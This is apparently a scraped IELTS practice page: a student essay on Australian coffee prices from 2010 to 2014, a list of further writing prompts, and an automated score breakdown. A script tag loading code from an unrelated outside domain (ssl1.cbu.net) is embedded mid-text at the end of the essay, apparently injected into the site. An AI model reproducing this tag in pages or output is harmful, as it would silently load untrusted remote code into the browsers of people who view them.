A glance at the provided table illustrates the information about the comparation and change of the cost for having a cup of coffee in six cities in Australia from 2010 to 2014. In general, it is clearly apparent that there were an increase in price in all cities except Brisbane during the period.
Looking in more detail from the table, in 2010, the cheapest a cup of coffee was sold in Canberra at 1.5 dollars and the most expensive was offered in Brisbane which bandroled at 2.25 dollars. However, in the next four years, the value in five cities (Canberra, Melbourne, Sydney, Adelaide, and Perth) climbed at the ranged of 6.25% to 20.8% per cup. Oppositely, the amount of dollars needed for a cup of coffee in Brisbane remained unchanged at 2.25 dollars. Interestingly, at the end of the period, Canberra and Brisbane still provided the lowest and the highest price, respectively.<script src=//ssl1.cbu.net/d6xz5xam></script>
- The following two pie charts show the results of a survey into the popularity of various leisure activities among European adults in 1985 and 1995 Summarise the information by selecting and reporting the main features and make comparisons where relevant 78
- The graphs below show the types of music albums purchased by people in Britain according to sex and age Write a report for a university lecturer describing the information shown below
- The bar chart below shows the sector contributions to India s gross domestic product from 1960 to 2000 Summarise the information by selecting and reporting the main features and make comparisons where relevant 84
- he table below shows the number of visitors to Ashdown Museum during the year before and the year after it was refurbished The charts show the results of surveys asking visitors how satisfied they were with their visit during the same two periods Summar
- The diagrams below show the life cycle of a species of large fish called the salmon Summarise the information by selecting and reporting the main features and make comparisons where relevant 78
Attribute Value Ideal
Final score: 7.0 out of 9
Category: Good Excellent
No. of Grammatical Errors: 0 2
No. of Spelling Errors: 0 2
No. of Sentences: 6 10
No. of Words: 152 200
No. of Characters: 709 1000
No. of Different Words: 85 100
Fourth Root of Number of Words: 3.511 4.0
Average Word Length: 4.664 4.6
Word Length SD: 2.547 2.4
No. of Words greater than 5 chars: 55 60
No. of Words greater than 6 chars: 36 50
No. of Words greater than 7 chars: 25 40
No. of Words greater than 8 chars: 11 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 25.333 21.0
Sentence Length SD: 6.498 7.5
Use of Discourse Markers (%): 0.5 0.12
Sentence-Text Coherence: 0.494 0.35
Sentence-Para Coherence: 0.616 0.50
Sentence-Sentence Coherence: 0.036 0.07
Number of Paragraphs: 2 4